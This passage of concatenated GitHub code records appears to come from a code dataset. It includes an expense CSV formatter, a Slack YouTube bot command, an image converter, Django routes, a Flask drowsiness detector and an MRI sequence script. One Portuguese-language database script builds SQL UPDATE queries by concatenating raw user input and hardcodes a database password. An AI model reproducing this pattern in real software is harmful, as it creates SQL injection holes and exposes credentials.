print(\"You should only have two expenses files originally. Something is wrong\")\n return\n for fileIndex in range(len(fileList)): # Did range in order to decide when to write and when to append.\n # (for reading from multiple files but writing to single file)\n if fileIndex == 0: write_or_append = \"w\"\n else: write_or_append = \"a\"\n origFile = open(fileList[fileIndex], \"r\", encoding=\"utf-8\") ## todo: should read if original encoding is utf-8 or w/e windows is (unicode?)\n origFileReader = csv.reader(origFile, delimiter = \"\\t\")\n\n outputFile = open(\"expensesOutput.csv\", write_or_append, encoding=\"utf-8\", newline=\"\")\n outputFileWriter = csv.writer(outputFile, delimiter=\"\\t\", lineterminator=\"\\n\")\n DATE = 0\n AMOUNT = 1\n CATEGORY = 4\n CATEGORY_GROUP = 5\n COMMENT = 6\n for row in origFileReader:\n if row[DATE] == \"Date\":\n continue\n newRow = []\n category_is_main_cat = False\n is_salary = False\n row[DATE] = row[DATE].replace(\".\", \"-\")\n if row[DATE].startswith(current_month) == False: # skips if it's not the current month\n continue\n newRow.append(row[DATE])\n if row[CATEGORY_GROUP] == \"\":\n category_is_main_cat = True\n if row[CATEGORY] == \"급여\":\n is_salary = True\n if is_salary == True:\n newRow.append(\"수입\")\n else:\n newRow.append(\"지출\")\n if category_is_main_cat == True: # input CATEGORY first if there's no sub-category\n newRow.append(row[CATEGORY])\n newRow.append(row[CATEGORY_GROUP])\n else: # input CATEGORY_GROUP first if there is a sub-category\n newRow.append(row[CATEGORY_GROUP])\n newRow.append(row[CATEGORY])\n newRow.append(row[COMMENT])\n newRow.append(str(abs(int(row[AMOUNT]))))\n category_is_main_cat = False\n is_salary = False\n outputFileWriter.writerow(newRow)\n origFile.close()\n outputFile.close()\n\nformat_expenses()\n\n##def format_expenses():\n## fileList = find_csv_files()\n## if fileList is None:\n## print(\"You should only have two expenses files originally. Something is wrong\")\n## return\n## for fileIndex in range(len(fileList)): # Did range in order to decide when to write and when to append.\n## if fileIndex == 0: write_or_append = \"w\"\n## else: write_or_append = \"a\"\n## origFile = open(fileList[fileIndex], \"r\", encoding=\"utf-8\")\n## origFileReader = csv.reader(origFile)\n##\n## outputFile = open(\"expensesOutput.csv\", write_or_append, encoding=\"utf-8\", newline=\"\")\n## outputFileWriter = csv.writer(outputFile, delimiter=\"\\t\", lineterminator=\"\\n\")\n##\n## for row in origFileReader:\n## newRow = []\n## for indexNum in range(len(row)):\n## row[indexNum] = row[indexNum].strip(\" \")\n## if indexNum == 0:\n## row[indexNum] = row[indexNum].replace(\".\", \"-\")\n## if row[indexNum].startswith(u\"\\ufeff\"): # This is for deleting the character at the front of each csv file. Otherwise it'll screw up your excel.\n## row[indexNum] = row[indexNum].strip(u\"\\ufeff\")\n## #row[indexNum] = row[indexNum][1:]\n## # Either one of the codes above will work. Take your pick.\n## elif indexNum == 3:\n## splitDashesList = row[indexNum].split(\"-\")\n## newRow += splitDashesList\n## continue\n## newRow.append(row[indexNum])\n## outputFileWriter.writerow(newRow)\n##\n## origFile.close()\n## outputFile.close()\n\n#format_expenses()\n\n\n###The following test code is to see if I was able to delete the \"\\ufeff\" char correctly.\n##exp = open(\"expensesOutput.csv\", \"r\", encoding=\"utf-8\")\n##expR = csv.reader(exp)\n##for row in expR:\n## print(row)\n","repo_name":"benard-kong/expensesOK-csv-mangler","sub_path":"orig.py","file_name":"orig.py","file_ext":"py","file_size_in_byte":5092,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"7359501371","text":"import psycopg2\nfrom psycopg2 import OperationalError\nimport os\n\ndef create_connection(db_name, db_user, db_password, db_host, db_port):\n connection = None\n try:\n connection = psycopg2.connect(\n database = db_name,\n user = db_user,\n password = db_password,\n host = db_host,\n port = db_port)\n print(\"Conexão com o banco \", db_name, \" foi bem sucedida\")\n except OperationalError as e:\n print(f\"O erro '{e}' ocorreu\")\n return connection\n\ndef update_table(connection, query):\n connection.autocommit = True\n cursor = connection.cursor()\n try:\n cursor.execute(query)\n print(\"Dados atualizados com sucesso!\")\n cursor.close()\n except OperationalError as e:\n print(f\"O erro '{e}' ocorreu\")\n\nconnection = create_connection(\"dbproject\", \"postgres\", \"ti123\", \"127.0.0.1\", \"5432\")\n\nx = input(\"QUAL TABELA DESEJA ALTERAR? 1- PESSOA 2- CONTA\\n\")\nif x == '1':\n opcao = input(\"QUAL COLUNA DESEJA ATUALIZAR?\\n1 - CPF\\n2 - PRIMEIRO NOME\\n3 - MEIO NOME\\n4 - SOBRENOME\\n5 - IDADE\\n6 - SAIR\\n\")\n if opcao == '1':\n dado = 'cpf'\n if opcao == '2':\n dado = 'primeironome'\n if opcao == '3':\n dado = 'meionome'\n if opcao == '4':\n dado = 'sobrenome'\n if opcao == '5':\n dado = 'idade'\n \n if opcao >= '1' and opcao<='5':\n idU = input(\"INFORME O ID DA LINHA POSSUI A INFORMAÇÃO QUE DESEJA ATUALIZAR: \")\n info = input(\"INSIRA O NOVO VALOR: \")\n update_pessoa = \"\"\"UPDATE Pessoa SET \"\"\" + dado + \"\"\" = '\"\"\" + info + \"\"\"' WHERE id = \"\"\" + idU\n update_table(connection, update_pessoa)\n\n\nif x == '2':\n opcao = input(\"QUAL COLUNA DESEJA ATUALIZAR?\\n1 - AGENCIA\\n2 - NUMERO\\n3 - SALDO\\n4 - GERENTE\\n5 - TITULAR\\n6 - SAIR\\n\")\n if opcao == '1':\n dado = 'agencia'\n if opcao == '2':\n dado = 'numero'\n if opcao == '3':\n dado = 'saldo'\n if opcao == '4':\n dado = 'gerente'\n if opcao == '5':\n dado = 'titular'\n\n if opcao >= '1' and opcao<='5':\n idU = input(\"INFORME O ID DA LINHA POSSUI A INFORMAÇÃO QUE DESEJA ATUALIZAR: \")\n info = input(\"INSIRA O NOVO VALOR: \")\n update_pessoa = \"\"\"UPDATE Conta SET \"\"\" + dado + \"\"\" = '\"\"\" + info + \"\"\"' WHERE id = \"\"\" + idU\n update_table(connection, update_pessoa)\n","repo_name":"lucasviniz/rad-python-project","sub_path":"updateTable.py","file_name":"updateTable.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11487489375","text":"import os\nfrom uqcsbot import bot, Command\nfrom uqcsbot.utils.command_utils import UsageSyntaxException\nfrom googleapiclient.discovery import build\nfrom googleapiclient.errors import HttpError\n\nYOUTUBE_API_KEY = os.environ.get('YOUTUBE_API_KEY')\nYOUTUBE_API_SERVICE_NAME = 'youtube'\nYOUTUBE_API_VERSION = 'v3'\nYOUTUBE_VIDEO_URL = 'https://www.youtube.com/watch?v='\nNO_QUERY_MESSAGE = \"You can't look for nothing. !yt \"\n\n\n@bot.on_command('yt')\ndef handle_yt(command: Command):\n \"\"\"\n `!yt ` - Returns the top video search result based on the query string.\n \"\"\"\n # Makes sure the query is not empty.\n if not command.has_arg():\n raise UsageSyntaxException()\n\n search_query = command.arg.strip()\n try:\n videoID = get_top_video_result(search_query, command.channel_id)\n except HttpError as e:\n # Googleapiclient should handle http errors\n bot.logger.error(\n f'An HTTP error {e.resp.status} occurred:\\n{e.content}')\n # Force return to ensure no message is sent.\n return\n\n if videoID:\n bot.post_message(command.channel_id, f'{YOUTUBE_VIDEO_URL}{videoID}')\n else:\n bot.post_message(command.channel_id, \"Your query returned no results.\")\n\n\ndef get_top_video_result(search_query: str, channel):\n \"\"\"\n The normal method for using !yt searches based on query\n and returns the first video result. \"I'm feeling lucky\"\n \"\"\"\n search_response = execute_search(search_query, 'id', 'video', 1)\n search_result = search_response.get('items')\n if search_result is None:\n return None\n return search_result[0]['id']['videoId']\n\n\ndef execute_search(search_query: str, search_part: str, search_type: str, max_results: int):\n \"\"\"\n Executes the search via the google api client based on the parameters given.\n \"\"\"\n youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\n developerKey=YOUTUBE_API_KEY, cache_discovery=False)\n\n search_response = youtube.search().list(q=search_query,\n part=search_part,\n maxResults=max_results,\n type=search_type).execute()\n\n return search_response\n","repo_name":"UQComputingSociety/uqcsbot-slack","sub_path":"uqcsbot/scripts/yt.py","file_name":"yt.py","file_ext":"py","file_size_in_byte":2267,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"21"} +{"seq_id":"2098084721","text":"from PIL import Image\nimport numpy as np\nimport os\nfrom multiprocessing import Pool\nimport glob\nimport tifffile as tif\nimport cv2\n\n# tif具有隐藏的不同格式,有的可以使用tifffile读取转换成npg,有的可以使用cv2读取转换成png。\n\ndef tif2png(img_path, out_dir):\n #img = Image.open(img_path).convert('L')\n #img = Image.open(img_path).convert('RGB')\n img = cv2.imread(img_path)\n #img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n #img = tif.imread(img_path)\n img = Image.fromarray(img.astype(np.uint8))\n #img.show()\n #img =img.convert('L')\n\n img_name = os.path.basename(img_path)\n new_name = img_name.split('.')[0]+'.png'\n new_path = os.path.join(out_dir, new_name)\n \n img.save(new_path, format='png')\n print('processe:', img_name)\n\n\ndef main():\n input_dir = '/Users/bytedance/Documents/data/public_data/ETIS-LaribPolypDB/Ground Truth'\n out_dir = '/Users/bytedance/Documents/data/public_data/ETIS/masks'\n\n all_img = glob.glob(input_dir + '/*.tif')\n pool = Pool(processes=6)\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n print('image lenght:', len(all_img))\n for img_path in all_img:\n #tif2png(img_path, out_dir)\n pool.apply_async(tif2png, [img_path, out_dir])\n pool.close()\n pool.join()\n\n\nif __name__ == '__main__':\n main()\n\n \n","repo_name":"xiaozhoushi/my_script","sub_path":"image/tif2png.py","file_name":"tif2png.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72674024693","text":"from django.urls import path\nfrom .views import PostListView,PostDetailView,PostCreateView,PostUpdateView,PostDeleteView,UserPostListView\nfrom . import views\nurlpatterns = [\n path('', PostListView.as_view(), name='blog-home'), # name is used in templates {% url 'blog/name' %}\n path('user/', UserPostListView.as_view(), name='user-posts'),\n path('post//', PostDetailView.as_view(), name='post-detail'), # primary key is pk\n path('post/new/', PostCreateView.as_view(), name='post-create'), # it will share view with UpdateView => template: post_form\n path('post//update/', PostUpdateView.as_view(), name='post-update'), # this wil automatically use template: post_form\n path('post//delete/', PostDeleteView.as_view(), name='post-delete'),\n path('about/', views.about, name='blog-about'),\n path('announcements/',views.announcements,name='blog-announcements'),\n path('instructions/',views.instructions,name='blog-instructions'),\n]\n","repo_name":"AkshatBhat/Django-Blog-Web-App","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"38255472159","text":"# Importation des modules nécessaires\nfrom flask import Flask, render_template, Response # Importation de la classe Flask pour créer l'application Flask\nimport cv2 # Bibliothèque pour la vision par ordinateur (OpenCV)\nimport numpy as np # Bibliothèque pour le calcul scientifique\nimport dlib # Bibliothèque pour la reconnaissance faciale\nfrom imutils import face_utils # Bibliothèque pour les opérations faciales\nimport time # Bibliothèque pour le temps\nfrom pygame import mixer # Bibliothèque pour les sons\n\n# Initialisation de l'application Flask\napp = Flask(__name__)\n\n# Initialisation du module de lecture audio (mixer) de Pygame\nmixer.init()\n\n# Chargement des fichiers audio\nno_driver_sound = mixer.Sound('nodriver_audio.mp3')\nsleep_sound = mixer.Sound('sleep_sound.mp3')\ntired_sound = mixer.Sound('rest_audio.mp3')\n\n# Initialisation du détecteur de visage de Dlib\ndetector = dlib.get_frontal_face_detector()\n\n# Chargement du model prédicteur de points repères du visage de Dlib\npredictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\n\n# Fonction pour calculer la distance entre deux points\ndef compute(ptA, ptB):\n dist = np.linalg.norm(ptA - ptB)\n return dist\n\n# Fonction pour détecter le clignement des yeux\ndef blinked(a, b, c, d, e, f):\n # Calcul de la distance verticale entre les points des paupières supérieure et inférieure\n up = compute(b, d) + compute(c, e)\n # Calcul de la distance horizontale entre les points des coins externes et internes de l'œil\n down = compute(a, f)\n # Calcul du ratio entre la distance verticale et horizontale\n ratio = up / (2.0 * down)\n # Verifier si les yeux sont fermés ou ouverts EAR\n if ratio > 0.22:\n return 'actif'\n else:\n return 'sommeil'\n\n\n# Fonction pour calculer le ratio d'ouverture de la bouche\ndef mouth_aspect_ratio(mouth):\n # Calcul des distances entre les points caractéristiques de la bouche\n A = compute(mouth[2], mouth[10]) # 51, 59\n B = compute(mouth[4], mouth[8]) # 53, 57\n C = compute(mouth[0], mouth[6]) # 49, 55\n # Calcul du ratio d'ouverture de la bouche\n mar = (A + B) / (2.0 * C)\n return mar\n\n# Définition des indices de début et de fin pour la bouche\n(mStart, mEnd) = (49, 68)\n\n# Fonction asynchrone pour la détection de la fatigue\nasync def tired():\n start = time.time() # Récupère le temps de départ\n rest_time_start = start # Temps de départ pour le temps de repos\n tired_sound.play() # Joue le son de fatigue\n a = 0\n\n while time.time() - start < 9: # Boucle tant que le temps écoulé est inférieur à 9 secondes\n if time.time() - rest_time_start > 3: # Vérifie si 3 secondes se sont écoulées depuis le dernier temps de repos\n tired_sound.play() # Joue le son de fatigue\n\n tired_sound.stop() # Arrête le son de fatigue\n return\n\n\n# Fonction principale pour la détection de la fatigue du conducteur\ndef detech():\n sleep_sound_flag = 0 # Indicateur pour le son de fatigue\n no_driver_sound_flag = 0 # Indicateur pour le son de conducteur absent\n yawning = 0 # Compteur de frame de bâillements\n no_yawn = 0 # Compteur de bâillements\n sleep = 0 # Compteur de somnolence\n active = 0 # Compteur d'activité\n status = \"\" # Statut actuel\n color = (0, 0, 0) # Couleur pour l'affichage du statut\n no_driver = 0 # Compteur de conducteur absent\n frame_color = (0, 255, 0) # Couleur du cadre de l'image\n url = \"http://192.168.1.33:8080/video\" # URL du flux vidéo\n cap = cv2.VideoCapture(0) # Initialisation de la capture vidéo\n\n time.sleep(1) # Donner un peu de temps à la caméra pour s'initialiser (pas necessaire)\n start = time.time() # Instant de départ\n no_driver_time = time.time() # Instant pour le conducteur absent\n no_driver_sound_start = time.time() # Instant pour le son de conducteur absent\n\n # Boucle principale pour la détection des visages , des bailliement et des clignements d'yeux\n while True:\n _, frame = cap.read() # Lecture d'une image depuis la capture vidéo\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2YUV) # Conversion en espace de couleur YUV\n channels = cv2.split(frame) # Séparation des canaux de couleur\n cv2.equalizeHist(channels[0], channels[0]) # Égalisation de l'histogramme du canal Y\n frame = cv2.merge(channels) # Fusion des canaux de couleur\n frame = cv2.cvtColor(frame, cv2.COLOR_YUV2BGR) # Conversion en espace de couleur BGR\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # Conversion en niveaux de gris\n face_frame = frame.copy() # Copie de l'image du visage\n faces = detector(gray, 0) # Détection des visages dans l'image\n\n if faces:\n no_driver_sound_flag = 0 # Réinitialisation de l'indicateur de son de conducteur absent\n no_driver_sound.stop() # Arrêt du son de conducteur absent\n no_driver = 0 # Réinitialisation du compteur de conducteur absent\n no_driver_time = time.time() # Mise à jour de l'instant pour le conducteur absent\n\n face = faces[0] # Sélection du premier visage détecté\n x1 = face.left() # Coordonnée x du coin supérieur gauche du visage\n y1 = face.top() # Coordonnée y du coin supérieur gauche du visage\n x2 = face.right() # Coordonnée x du coin inférieur droit du visage\n y2 = face.bottom() # Coordonnée y du coin inférieur droit du visage\n\n cv2.rectangle(frame, (x1, y1), (x2, y2), frame_color, 2) # Dessin du rectangle autour du visage\n\n landmarks = predictor(gray, face) # Détection des repères faciaux\n landmarks = face_utils.shape_to_np(landmarks) # Conversion en tableau NumPy\n\n left_blink = blinked(landmarks[36], landmarks[37], landmarks[38], landmarks[41], landmarks[40], landmarks[39]) # Détection du clignement de l'œil gauche\n right_blink = blinked(landmarks[42], landmarks[43], landmarks[44], landmarks[47], landmarks[46], landmarks[45]) # Détection du clignement de l'œil droit\n mouth = landmarks[mStart:mEnd] # Région de la bouche\n mouthMAR = mouth_aspect_ratio(mouth) # Calcul du rapport d'ouverture de la bouche\n mar = mouthMAR # Alias pour le rapport d'ouverture de la bouche\n\n if mar > 0.80:\n sleep = 0 # Réinitialisation du compteur de somnolence\n active = 0 # Réinitialisation du compteur d'activité\n yawning += 1 # Incrément du compteur de bâillements\n status = \"Fatigue\" # Statut : Fatigue\n color = (255, 0, 0) # Couleur pour l'affichage du statut : blue\n frame_color = (255, 0, 0) # Couleur du cadre de l'image : blue\n sleep_sound_flag = 0 # Réinitialisation de l'indicateur de son de fatigue\n sleep_sound.stop() # Arrêt du son de fatigue\n elif left_blink == 'sommeil' or right_blink == 'sommeil':\n if yawning > 20:\n no_yawn += 1 # Incrément du compteur de bâillements\n sleep += 1 # Incrément du compteur de somnolence\n yawning = 0 # Réinitialisation du compteur de bâillements\n active = 0 # Réinitialisation du compteur d'activité\n if sleep > 5:\n status = \"Endormi\" # Statut : Endormi\n color = (0, 0, 255) # Couleur pour l'affichage du statut : Rouge\n frame_color = (0, 0, 255) # Couleur du cadre de l'image : Rouge\n if sleep_sound_flag == 0:\n sleep_sound.play() # Lecture du son de fatigue\n sleep_sound_flag = 1 # Mise à jour de l'indicateur de son de fatigue\n else:\n if yawning > 20:\n no_yawn += 1 # Incrément du compteur de bâillements\n yawning = 0 # Réinitialisation du compteur de bâillements\n sleep = 0 # Réinitialisation du compteur de somnolence\n active += 1 # Incrément du compteur d'activité\n status = \"Actif\" # Statut : Actif\n color = (0, 255, 0) # Couleur pour l'affichage du statut : Vert\n frame_color = (0, 255, 0) # Couleur du cadre de l'image : Vert\n if active > 5:\n sleep_sound_flag = 0 # Réinitialisation de l'indicateur de son de fatigue\n sleep_sound.stop() # Arrêt du son de fatigue\n\n cv2.putText(frame, status, (50, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.75, color, 2) # Affichage du statut\n\n if time.time() - start < 60 and no_yawn >= 1:\n no_yawn = 0 # Réinitialisation du compteur de bâillements\n tired_sound.play() # Lecture du son de fatigue\n elif time.time() - start > 60:\n start = time.time() # Mise à jour de l'instant de départ\n\n #for n in range(0, 68):\n # (x, y) = landmarks[n]\n # cv2.circle(face_frame, (x, y), 1, (255, 255, 255), -1) # Dessin des repères faciaux\n\n else:\n no_driver += 1 # Incrément du compteur de conducteur absent\n sleep_sound_flag = 0 # Réinitialisation de l'indicateur de son de fatigue\n sleep_sound.stop() # Arrêt du son de fatigue\n if no_driver > 10:\n status = \"Pas de conducteur\" # Statut : Pas de conducteur\n color = (0, 0, 0) # Couleur pour l'affichage du statut : Noir\n if time.time() - no_driver_time > 5:\n if no_driver_sound_flag == 0:\n no_driver_sound.play() # Lecture du son de conducteur absent\n no_driver_sound_start = time.time() # Mise à jour de l'instant pour le son de conducteur absent\n else:\n if time.time() - no_driver_sound_start > 3:\n no_driver_sound.play() # Lecture du son de conducteur absent\n no_driver_sound_start = time.time() # Mise à jour de l'instant pour le son de conducteur absent\n no_driver_sound_flag = 1 # Mise à jour de l'indicateur de son de conducteur absent\n\n cv2.putText(frame, status, (50, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.75, color, 2) # Affichage du statut\n\n ret, buffer = cv2.imencode('.jpg', frame) # Encodage de l'image au format JPEG\n frame = buffer.tobytes()\n yield (b'--frame\\r\\n'b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n') # Renvoi de l'image encodée\n\n\n\n\n\n# Route pour le flux vidéo\n@app.route(\"/video_feed\")\ndef video_feed():\n print(\"Ouverture de la caméra\")\n return Response(detech(), mimetype='multipart/x-mixed-replace;boundary=frame') # Renvoi de la réponse HTTP contenant le flux vidéo de détection\n\n# Route pour la page d'accueil\n@app.route(\"/\")\ndef home():\n return render_template(\"index.html\")\n\n# Route pour la page de détection\n@app.route(\"/detection\")\ndef detection():\n return render_template(\"detection.html\")\n\n# Point d'entrée de l'application\nif __name__ == \"__main__\":\n app.run(debug=False, host='0.0.0.0')\n","repo_name":"karimtarekmahcene/DrowsinessDetectionApp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":11259,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16060080412","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 01 16:48:05 2022\n\n@author: José Miguel Algarín Guisado\nMRILAB @ I3M\n\"\"\"\n\nimport sys\n# marcos_client path for linux\nsys.path.append('../marcos_client')\n# marcos_client and PhysioMRI_GUI for Windows\nsys.path.append('D:\\CSIC\\REPOSITORIOS\\marcos_client')\nsys.path.append('D:\\CSIC\\REPOSITORIOS\\PhysioMRI_GUI')\nimport numpy as np\nimport experiment as ex\nimport matplotlib.pyplot as plt\nimport scipy.signal as sig\nimport os\nfrom scipy.io import savemat\nfrom datetime import date, datetime\nfrom scipy.interpolate import griddata as gd\nimport pdb\nfrom configs.hw_config import Gx_factor\nfrom configs.hw_config import Gy_factor\nfrom configs.hw_config import Gz_factor\nimport time\nst = pdb.set_trace\n\n\n\n#*********************************************************************************\n#*********************************************************************************\n#*********************************************************************************\n\n\ndef propellerStack_standalone(\n init_gpa=False, # Starts the gpa\n nScans = 1, # NEX\n larmorFreq = 3.0746e6, # Larmor frequency\n rfExAmp = 0.3, # rf excitation pulse amplitude\n rfReAmp = 0.3, # rf refocusing pulse amplitude\n rfExTime = 40e-6, # rf excitation pulse time\n rfReTime = 80e-6, # rf refocusing pulse time\n echoSpacing = 20e-3, # time between echoes\n repetitionTime = 200e-3, # TR\n inversionTime = 0e-3, # Inversion time for Inversino Recovery experiment\n fov = np.array([6.5e-2, 6.5e-2, 13e-2]), # FOV along readout, phase and slice\n dfov = np.array([0e-2, 0e-2, 0e-2]), # Displacement of fov center\n nPoints = np.array([60, 60, 30]), # Number of points along readout, phase and slice\n etl = 5, # Echo train length\n undersampling = 1, # Angular undersampling\n acqTimeMax = 2e-3, # Maximum acquisition time (s)\n axes = np.array([2, 1, 0]), # 0->x, 1->y and 2->z defined as [rd,ph,sl]\n sweepMode = 1, # 0->k2k (T2), 1->02k (T1), 2->k20 (T2), 3->Niquist modulated (T2)\n phaseGradTime = 1000e-6, # Phase and slice dephasing time\n rdPreemphasis = 1.012, # Readout preemphasis factor (dephasing gradient is multiplied by this number)\n drfPhase = 0, # phase of the excitation pulse (in degrees)\n dummyPulses = 3, # Dummy pulses for T1 stabilization\n shimming = np.array([-80, -100, 20]), # Shimming along the X,Y and Z axes (a.u. *1e4)\n parAcqLines = 0, # Number of additional lines, Full sweep if 0\n phi0 = 45 # Rotates the rd/ph \n ):\n \n # Test for linearly dependent preemphasis\n rdP0 = 1.00 # premphasis for G = 0\n rdPm = 10.5e-2 # Additional preemphasis per each unit voltage\n \n # rawData fields\n rawData = {}\n inputs = {}\n kSpace = {}\n auxiliar = {}\n \n # Miscellaneous\n blkTime = 10 # Deblanking time (us)\n larmorFreq = larmorFreq*1e-6\n gradRiseTime = 400e-6 # Estimated gradient rise time\n gSteps = int(gradRiseTime*1e6/10)*0+1 # Gradient ramp steps\n gradDelay = 9 # Gradient amplifier delay\n addRdPoints = 10 # Initial rd points to avoid artifact at the begining of rd\n addRdGradTime = 1000 # Additional readout gradient time to avoid turn on/off effects on the Rx channel\n gammaB = 42.56e6 # Gyromagnetic ratio in Hz/T\n rfReAmp = rfExAmp\n rfReTime = 2*rfExTime\n shimming = shimming*1e-4\n resolution = fov/nPoints\n kMax = 1/(2*resolution)\n oversamplingFactor = 6\n auxiliar['resolution'] = resolution\n auxiliar['kMax'] = kMax\n auxiliar['gradDelay'] = gradDelay*1e-6\n auxiliar['gradRiseTime'] = gradRiseTime\n auxiliar['oversamplingFactor'] = oversamplingFactor\n auxiliar['addRdGradTime'] = addRdGradTime*1e-6\n \n # Inputs for rawData\n inputs['nScans'] = nScans\n inputs['larmorFreq'] = larmorFreq # Larmor frequency\n inputs['rfExAmp'] = rfExAmp # rf excitation pulse amplitude\n inputs['rfReAmp'] = rfReAmp # rf refocusing pulse amplitude\n inputs['rfExTime'] = rfExTime # rf excitation pulse time\n inputs['rfReTime'] = rfReTime # rf refocusing pulse time\n inputs['echoSpacing'] = echoSpacing # time between echoes\n inputs['repetitionTime'] = repetitionTime # TR\n inputs['inversionTime'] = inversionTime # Inversion time for Inversion Recovery\n inputs['fov'] = fov # FOV along readout, phase and slice\n inputs['dfov'] = dfov # Displacement of fov center\n inputs['nPoints'] = nPoints # Number of points along readout, phase and slice\n inputs['etl'] = etl # Echo train length\n inputs['undersampling'] = undersampling # Angular undersampling\n inputs['acqTimeMax'] = acqTimeMax # Acquisition bandwidth\n inputs['axes'] = axes # 0->x, 1->y and 2->z defined as [rd,ph,sl]\n inputs['sweepMode'] = sweepMode # 0->k2k (T2), 1->02k (T1), 2->k20 (T2), 3->Niquist modulated (T2)\n inputs['phaseGradTime'] = phaseGradTime # Phase and slice dephasing time\n inputs['rdPreemphasis'] = rdPreemphasis\n inputs['drfPhase'] = drfPhase \n inputs['dummyPulses'] = dummyPulses # Dummy pulses for T1 stabilization\n inputs['shimming'] = shimming\n \n # Calculate the acquisition bandwidth\n if nPoints[0]>nPoints[1]:\n bandwidth = nPoints[0]/acqTimeMax\n else:\n bandwidth = nPoints[1]/acqTimeMax\n auxiliar['bandwidth'] = bandwidth\n \n # Oversampled BW\n BWov = bandwidth*oversamplingFactor\n samplingPeriod = 1/BWov*1e6\n \n # Calculate the angles of each normalized k-space line\n phi = np.array([0])\n while phi[-1]1:\n slGradAmp = 1/(resolution[2]*gammaB*(phaseGradTime+gradRiseTime))\n else:\n slGradAmp = 0\n if nPoints[2]%2==0:\n slGradAmpArray = np.linspace(-slGradAmp, slGradAmp, num = nPoints[2], endpoint = False)\n kSl = np.linspace(-kMax[2], kMax[2], num = nPoints[2], endpoint = False)\n else:\n slGradAmpArray = np.linspace(-slGradAmp, slGradAmp, num = nPoints[2], endpoint = True)\n kSl = np.linspace(-kMax[2], kMax[2], num = nPoints[2], endpoint = True)\n \n # Calculate the number of readouts and acqTime as a function of phi\n nrdx = nPoints[0]*np.abs(np.cos(phi))\n nrdy = nPoints[1]*np.abs(np.sin(phi))\n nrd = np.int32(np.round(np.sqrt(np.power(nrdx,2)+np.power(nrdy,2))))\n acqTime = nrd/bandwidth\n del nrdx, nrdy\n \n # Normalized kmax (time space)\n kMaxN = 1/(2*gammaB*resolution*rdGradAmp)\n \n # Create k-space and get phase gradients\n kPropellerX = np.array([])\n kPropellerY = np.array([])\n kPropellerZ = np.array([])\n phGradAmpBlock = {}\n ind = getIndex(etl, sweepMode)\n for blockIndex in range(nBlocks):\n if nrd[blockIndex]%2==0:\n nprov = np.linspace(-1.0, 1.0, num = nrd[blockIndex], endpoint = False)\n else:\n nprov = np.linspace(-1.0, 1.0, num = nrd[blockIndex], endpoint = True)\n # Main lines in normalized k-space\n kLineN = np.array([nprov*np.cos(phi[blockIndex])*kMaxN[0],\n nprov*np.sin(phi[blockIndex])*kMaxN[1]])\n # Add lines for propeller in normalized k-space\n dkN = np.array([kLineN[1,1]-kLineN[1,0],\n kLineN[0,0]-kLineN[0,1]])*undersampling\n for slIndex in range(nPoints[2]):\n for echoIndex in range(etl):\n # True k-space\n if etl%2==0:\n kLine = np.array([(kLineN[0,:]-dkN[0]*(echoIndex-etl/2))*gammaB*np.abs(rdGradAmp[0]),\n (kLineN[1,:]-dkN[1]*(echoIndex-etl/2))*gammaB*np.abs(rdGradAmp[1]),\n np.ones(nrd[blockIndex])*kSl[slIndex]])\n else:\n kLine = np.array([(kLineN[0,:]-dkN[0]*(echoIndex-(etl-1)/2))*gammaB*np.abs(rdGradAmp[0]),\n (kLineN[1,:]-dkN[1]*(echoIndex-(etl-1)/2))*gammaB*np.abs(rdGradAmp[1]),\n np.ones(nrd[blockIndex])*kSl[slIndex]])\n # Save points into propeller k-points\n kPropellerX = np.concatenate((kPropellerX, kLine[0, :]), axis = 0)\n kPropellerY = np.concatenate((kPropellerY, kLine[1, :]), axis = 0)\n kPropellerZ = np.concatenate((kPropellerZ, kLine[2, :]), axis = 0)\n # Define here all the phase gradients for current block\n if etl%2==1:\n phGradAmpBlock[blockIndex] = np.array([np.linspace(-(etl-1)/2,(etl-1)/2,num=etl,endpoint=True)*phGradAmpArray[0,blockIndex],\n np.linspace(-(etl-1)/2,(etl-1)/2,num=etl,endpoint=True)*phGradAmpArray[1,blockIndex]])\n else:\n phGradAmpBlock[blockIndex] = np.array([np.linspace(-etl/2,etl/2,num=etl,endpoint=False)*phGradAmpArray[0,blockIndex],\n np.linspace(-etl/2,etl/2,num=etl,endpoint=False)*phGradAmpArray[1,blockIndex]])\n # Reorganize gradients according to the sweep mode\n phGradAmpBlock[blockIndex] = phGradAmpBlock[blockIndex][:,ind]\n del kLineN, kLine, dkN, nprov \n \n # Generate cartesian k-points\n if nPoints[0]%2==1:\n kCartesianX = np.linspace(-kMax[0], kMax[0], num = nPoints[0], endpoint = True)\n else:\n kCartesianX = np.linspace(-kMax[0], kMax[0], num = nPoints[0], endpoint = False)\n if nPoints[1]%2==1:\n kCartesianY = np.linspace(-kMax[1], kMax[1], num = nPoints[1], endpoint = True)\n else:\n kCartesianY = np.linspace(-kMax[1], kMax[1], num = nPoints[1], endpoint = False)\n if nPoints[2]%2==1:\n kCartesianZ = np.linspace(-kMax[2], kMax[2], num = nPoints[2], endpoint = True)\n else:\n kCartesianZ = np.linspace(-kMax[2], kMax[2], num = nPoints[2], endpoint = False)\n kCartesianY, kCartesianZ, kCartesianX = np.meshgrid(kCartesianY, 